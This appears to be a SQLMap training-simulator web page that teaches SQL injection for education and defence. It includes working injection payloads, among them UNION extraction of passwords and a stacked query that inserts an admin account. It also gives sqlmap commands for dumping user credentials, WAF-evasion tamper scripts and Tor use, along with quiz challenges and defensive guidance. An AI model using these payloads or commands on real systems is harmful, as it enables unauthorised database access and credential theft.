Legal and Ethical Warning This training module is for EDUCATIONAL PURPOSES ONLY. SQL injection is illegal when performed without explicit written authorization. Only test on systems you own or have permission to test. Unauthorized access to computer systems is a crime under laws including the Computer Fraud and Abuse Act (CFAA) and equivalent international legislation. This tool simulates SQLMap behavior in a safe, controlled environment.

What is SQLMap?

SQLMap is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection vulnerabilities in web applications. It supports a wide range of database management systems including MySQL, PostgreSQL, Oracle, Microsoft SQL Server, SQLite, and many others.

Key Capabilities

  • Automatic SQL Injection Detection: Identifies vulnerable parameters in URLs, forms, cookies, and HTTP headers
  • Database Fingerprinting: Determines the exact DBMS type and version
  • Data Extraction: Retrieves database names, tables, columns, and data
  • Advanced Exploitation: File system access, OS command execution (in specific scenarios)
  • Bypass Techniques: WAF/IPS evasion using tamper scripts and encoding
  • Multiple Injection Techniques: Supports UNION, Boolean-based blind, time-based blind, error-based, and stacked queries

Why Learn SQLMap?

Understanding SQLMap is crucial for both offensive and defensive security:

  • Security Testing: Identify SQL injection vulnerabilities in your applications before attackers do
  • Vulnerability Assessment: Comprehensive testing of web application attack surfaces
  • Defense Understanding: Learn how attackers exploit SQL injection to better defend against it
  • Compliance: Meet security testing requirements for standards like PCI-DSS, OWASP Top 10

SQL Injection Types

1. UNION-Based SQL Injection

The most straightforward type. Uses the UNION SQL operator to combine the results of the original query with injected queries, allowing direct data extraction.

# Original vulnerable query SELECT * FROM products WHERE id = '1' # Injected payload ' UNION SELECT username, password, NULL FROM users-- # Final query SELECT * FROM products WHERE id = '1' UNION SELECT username, password, NULL FROM users--'
Detection Method: SQLMap tests for UNION injection by determining the number of columns and injecting payloads to extract data directly from the database.

2. Boolean-Based Blind SQL Injection

Used when the application doesn't return error messages or data, but behaves differently based on TRUE or FALSE conditions. Data is extracted one bit at a time.

# Test if first character of database name is 'a' ' AND SUBSTRING(database(), 1, 1) = 'a'-- # If true: page loads normally # If false: page behaves differently (error, different content, etc.)
Detection Method: SQLMap sends payloads that cause TRUE/FALSE conditions and analyzes page responses to infer data character by character.

3. Time-Based Blind SQL Injection

When even boolean responses aren't visible, time delays are used. The application pauses execution based on injected conditions.

# MySQL example - delay if condition is true ' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0)-- # SQL Server example '; IF (1=1) WAITFOR DELAY '00:00:05'-- # PostgreSQL example '; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
Slowest Method: Time-based blind injection is extremely slow because each bit of information requires waiting for timeout delays. Extracting a single database name can take minutes or hours.

4. Error-Based SQL Injection

Leverages database error messages to extract information. Some DBMS functions return data within error messages.

# MySQL - Extract data via error message ' AND extractvalue(1, concat(0x7e, (SELECT database()), 0x7e))-- # MSSQL - Use type conversion errors ' AND 1=CONVERT(int, (SELECT @@version))-- # Error message reveals: "Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2019...' to data type int."

5. Stacked Queries

Allows execution of multiple SQL statements separated by semicolons. Enables advanced exploitation like INSERT, UPDATE, or stored procedure calls.

# Original query SELECT * FROM products WHERE id = 1 # Injected payload (creates new admin user) 1; INSERT INTO users (username, password, role) VALUES ('hacker', 'pwned', 'admin')-- # Both queries execute SELECT * FROM products WHERE id = 1; INSERT INTO users (username, password, role) VALUES ('hacker', 'pwned', 'admin')--
Most Dangerous: Stacked queries can modify database contents, execute stored procedures, and potentially execute OS commands through database features like xp_cmdshell (MSSQL) or LOAD_FILE (MySQL).

SQLMap Detection Techniques

Parameter Discovery

SQLMap can test multiple parameter types:

  • GET Parameters: URL query strings like ?id=1&cat=books
  • POST Data: Form submissions and request body data
  • HTTP Headers: Cookie, User-Agent, Referer, X-Forwarded-For
  • URI Path: RESTful parameters in the URL path

Fingerprinting Process

SQLMap identifies the database system through:

  1. Banner Grabbing: Extract version information using functions like @@version, version()
  2. Syntax Differences: Test DBMS-specific syntax (e.g., MySQL uses # for comments, MSSQL uses --)
  3. Function Behavior: Test database-specific functions like SUBSTRING vs SUBSTR
  4. Error Messages: Analyze error message patterns unique to each DBMS
  5. Response Timing: Different databases have different execution speeds and behaviors

Injection Point Testing

# SQLMap tests various payloads to confirm vulnerability: # 1. Basic syntax test id=1' (causes syntax error if vulnerable) # 2. Boolean test id=1' AND '1'='1 (should return normal page) id=1' AND '1'='2 (should return different/error page) # 3. UNION test id=1' UNION ALL SELECT NULL-- (incrementally adds columns) # 4. Time delay test id=1' AND SLEEP(5)-- (response delayed by 5 seconds)

Database Fingerprinting

Version Detection

Each DBMS has specific functions to reveal version information:

# MySQL/MariaDB SELECT VERSION() SELECT @@version # PostgreSQL SELECT version() # Microsoft SQL Server SELECT @@VERSION # Oracle SELECT * FROM v$version SELECT banner FROM v$version WHERE banner LIKE 'Oracle%' # SQLite SELECT sqlite_version()

Database Enumeration

SQLMap uses system tables to enumerate database structure:

# MySQL - List all databases SELECT schema_name FROM information_schema.schemata # List tables in specific database SELECT table_name FROM information_schema.tables WHERE table_schema='targetdb' # List columns in specific table SELECT column_name FROM information_schema.columns WHERE table_name='users' # MSSQL - List databases SELECT name FROM sys.databases # PostgreSQL - List databases SELECT datname FROM pg_database

Data Extraction

# Once structure is known, extract data: SELECT username, password FROM users # Count rows (for optimization) SELECT COUNT(*) FROM users # Extract specific rows SELECT username, password FROM users LIMIT 0,1 (MySQL) SELECT TOP 1 username, password FROM users (MSSQL)

Defense Against SQL Injection

Primary Defenses

  1. Prepared Statements (Parameterized Queries)
    # VULNERABLE CODE (Python example) cursor.execute("SELECT * FROM users WHERE id = '" + user_id + "'") # SECURE CODE cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,))
  2. Input Validation and Sanitization
    • Whitelist allowed characters
    • Validate data types (ensure numbers are numeric)
    • Limit input length
    • Escape special characters
  3. Least Privilege Principle
    • Database user should only have necessary permissions
    • Never use 'root' or 'sa' for web application database connections
    • Disable dangerous functions (xp_cmdshell, LOAD_FILE, etc.)
  4. Web Application Firewalls (WAF)
    • Filter common SQL injection patterns
    • Rate limiting to slow down automated attacks
    • Not a replacement for secure coding, but adds defense in depth

Detection and Monitoring

  • Log all database errors and unusual query patterns
  • Monitor for suspicious characters in inputs (', --, /*, UNION, etc.)
  • Alert on multiple failed queries from same source
  • Implement intrusion detection systems (IDS)
Best Practice: Defense in depth is key. Use multiple layers: secure code + input validation + least privilege + WAF + monitoring. No single defense is perfect.

Responsible Disclosure

If you discover SQL injection vulnerabilities during authorized testing:

  1. Document thoroughly: Steps to reproduce, affected parameters, potential impact
  2. Report responsibly: Contact the organization's security team, not social media
  3. Give time to patch: Typically 90 days before public disclosure
  4. Don't exfiltrate data: Proving the vulnerability exists is enough; don't steal data
  5. Follow bug bounty rules: If participating in a program, adhere to their guidelines
Remember: The goal of security testing is to improve security, not to cause harm. Always act ethically and within legal boundaries.

SQLMap Command Simulator

SQLMap Training Simulator v1.0
Type 'help' for available commands or start with: sqlmap -u "http://target.com/page?id=1" --dbs
WARNING: This is a SIMULATION. No real network requests are made.
Ready for commands...
root@kali:~#
Challenge Mode Complete these challenges to test your SQLMap knowledge. Each challenge awards points and tracks your progress. Use the Injection Lab to practice commands!

Challenge 1: Basic Detection

10 points

Use SQLMap to detect if the target URL is vulnerable to SQL injection. What flag should you use to enumerate all available databases?

Target: http://shop.local/product.php?id=5

Challenge 2: Database Enumeration

15 points

After discovering databases named 'shop_db', 'mysql', and 'information_schema', you need to enumerate tables in 'shop_db'. What flag specifies the target database?

Available databases: shop_db, mysql, information_schema

Challenge 3: Table Discovery

15 points

You're targeting the 'shop_db' database. What flag will enumerate all tables in this database?

Database: shop_db

Challenge 4: Column Extraction

20 points

You've found a 'users' table in 'shop_db'. What flag combination will show you all columns in this table? (format: -D database -T table --flag)

Database: shop_db | Table: users

Challenge 5: Data Dumping

20 points

Extract all data from the 'users' table. What flag dumps the data? (Provide just the dump flag)

Database: shop_db | Table: users | Columns: id, username, password, email

Challenge 6: DBMS Fingerprinting

15 points

What flag forces SQLMap to perform extensive DBMS version fingerprinting?

Target: http://app.local/search.php?q=test

Challenge 7: POST Request Testing

25 points

The login form uses POST method with parameters 'username' and 'password'. What flag specifies POST data for testing?

Method: POST | Parameters: username, password

Challenge 8: Cookie Testing

25 points

You suspect the 'session_id' cookie might be vulnerable. What flag tests cookie parameters?

Cookie: session_id=abc123; user_pref=dark

Challenge 9: Risk and Level

30 points

You want SQLMap to perform more thorough testing with higher risk payloads. What flags set both risk and level to maximum (3 and 5 respectively)?

Requirement: Risk=3, Level=5

Challenge 10: Batch Mode

20 points

You're running SQLMap in an automated script and need it to never prompt for user input, always using default options. What flag enables this?

Requirement: Non-interactive, automatic mode

Common SQLMap Options

Target Options

Option Description Example
-u URL Target URL -u "http://site.com/page.php?id=1"
-g GOOGLEDORK Use Google dork results as target -g "inurl:.php?id="
-r REQUESTFILE Load HTTP request from file -r request.txt
--data=DATA POST data string --data="user=admin&pass=test"
--cookie=COOKIE HTTP Cookie header value --cookie="PHPSESSID=abc123"
--headers=HEADERS Extra HTTP headers (newline separated) --headers="X-Forwarded-For: 127.0.0.1"

Enumeration Options

Option Description Example
--dbs Enumerate databases --dbs
-D DB Specify database to enumerate -D shop_db
--tables Enumerate tables -D shop_db --tables
-T TABLE Specify table to enumerate -T users
--columns Enumerate columns -D shop_db -T users --columns
--dump Dump table data -D shop_db -T users --dump
--dump-all Dump all databases tables entries --dump-all
-C COLUMNS Specify columns to dump -C username,password
--schema Enumerate database schema --schema
--count Get number of entries in table -D shop_db -T users --count

Detection and Techniques

Option Description Example
--level=LEVEL Level of tests (1-5, default 1) --level=5
--risk=RISK Risk of tests (1-3, default 1) --risk=3
--technique=TECH SQL injection techniques (BEUSTQ) --technique=BEU
--dbms=DBMS Force DBMS type --dbms=MySQL
--os=OS Force OS type --os=Linux
--fingerprint Extensive DBMS fingerprinting --fingerprint

Optimization

Option Description Example
--threads=THREADS Max concurrent HTTP requests --threads=5
--batch Never ask for user input (automatic) --batch
--keep-alive Use persistent HTTP connections --keep-alive
--null-connection Retrieve page length without content --null-connection

Evasion Techniques

Option Description Example
--tamper=TAMPER Use tamper scripts --tamper=space2comment
--random-agent Use random User-Agent --random-agent
--delay=DELAY Delay between requests (seconds) --delay=2
--timeout=TIMEOUT Connection timeout (seconds) --timeout=30
--proxy=PROXY Use proxy --proxy="http://127.0.0.1:8080"
--tor Use Tor anonymity network --tor

Injection Technique Codes

Use with --technique flag to specify which techniques to use:

Code Technique Speed Stealth
B Boolean-based blind Slow Medium
E Error-based Fast Low
U UNION query-based Very Fast Low
S Stacked queries Fast Very Low
T Time-based blind Very Slow High
Q Inline queries Medium Medium
# Examples: --technique=U (Only UNION-based) --technique=BEU (Boolean, Error, and UNION) --technique=T (Only time-based blind - slowest but stealthiest)

Popular Tamper Scripts

Tamper scripts modify payloads to bypass WAF/IPS filters:

Tamper Script Purpose Example Transformation
space2comment Replace spaces with comments SELECT * FROM → SELECT/**/FROM
between Replace > with BETWEEN id > 1 → id BETWEEN 1 AND 9999
charencode URL-encode characters SELECT → %53%45%4C%45%43%54
randomcase Random uppercase/lowercase SELECT → SeLeCt
base64encode Base64 encode payload 1' OR '1'='1 → MScgT1IgJzEnPScx
apostrophenullencode Replace apostrophe with %00%27 ' → %00%27
equaltolike Replace = with LIKE WHERE id = 1 → WHERE id LIKE 1
# Use multiple tamper scripts (comma-separated): --tamper=space2comment,between,randomcase

Common Command Patterns

Basic Vulnerability Testing

# Test GET parameter sqlmap -u "http://target.com/page.php?id=1" # Test with cookies sqlmap -u "http://target.com/page.php" --cookie="PHPSESSID=abc123" # Test POST data sqlmap -u "http://target.com/login.php" --data="user=admin&pass=test"

Full Database Enumeration

# 1. List databases sqlmap -u "http://target.com/page.php?id=1" --dbs # 2. List tables in specific database sqlmap -u "http://target.com/page.php?id=1" -D shop_db --tables # 3. List columns in specific table sqlmap -u "http://target.com/page.php?id=1" -D shop_db -T users --columns # 4. Dump specific columns sqlmap -u "http://target.com/page.php?id=1" -D shop_db -T users -C username,password --dump

Advanced Testing

# Maximum testing depth sqlmap -u "http://target.com/page.php?id=1" --level=5 --risk=3 # WAF bypass with tamper scripts sqlmap -u "http://target.com/page.php?id=1" --tamper=space2comment,between --random-agent # Automated mode with threading sqlmap -u "http://target.com/page.php?id=1" --batch --threads=5 --dbs

Progress Management

Export Progress

Download your challenge progress and statistics as JSON

Import Progress

Restore previously exported progress data

Reset Progress

Clear all challenge completions and reset points to zero

Appearance

Dark Mode

Toggle between dark and light theme

About

SQLMap Training Lab v1.0

An educational platform for learning SQL injection detection and exploitation techniques using SQLMap. This simulator provides a safe, controlled environment to practice SQLMap commands without conducting actual attacks.

Educational Use Only: This tool is designed for cybersecurity education and authorized penetration testing training. Never use SQL injection techniques on systems you don't own or have explicit permission to test.

Legal Notice

Unauthorized access to computer systems is illegal. This training module simulates SQLMap functionality for educational purposes only. Users are responsible for ensuring their activities comply with all applicable laws and regulations.